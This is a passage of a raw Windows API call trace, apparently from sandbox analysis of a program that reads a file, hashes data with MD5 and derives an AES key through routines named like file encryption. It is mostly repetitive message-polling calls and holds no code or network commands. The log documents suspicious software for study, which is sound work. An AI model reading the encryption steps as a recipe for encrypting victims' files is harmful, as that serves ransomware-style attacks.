lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064710, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0028.678] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0028.678] FreeLibrary (hLibModule=0x7ffe2a8b0000) returned 1 [0028.678] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.678] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.679] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.681] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.683] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.683] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.684] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.684] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.685] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.685] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.685] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.685] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9564) returned 1 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.686] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x255c, lpOverlapped=0x0) returned 1 [0028.686] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x255c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.686] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9564) returned 1 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.686] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.686] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.686] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.686] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.687] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.687] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.687] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.687] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.688] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.688] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.688] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.688] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.688] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.688] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.688] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199930) returned 1 [0028.689] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.689] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.689] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.689] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.689] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.690] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.690] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.691] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.691] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.691] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.691] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417abe0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0028.692] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0028.692] CryptCreateHash (in: hProv=0xe8f4199930, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.693] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.693] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b0f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.694] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.694] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.694] CryptDeriveKey (in: hProv=0xe8f4199930, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.694] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.694] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.694] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0028.694] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.694] PeekMessageW (in: 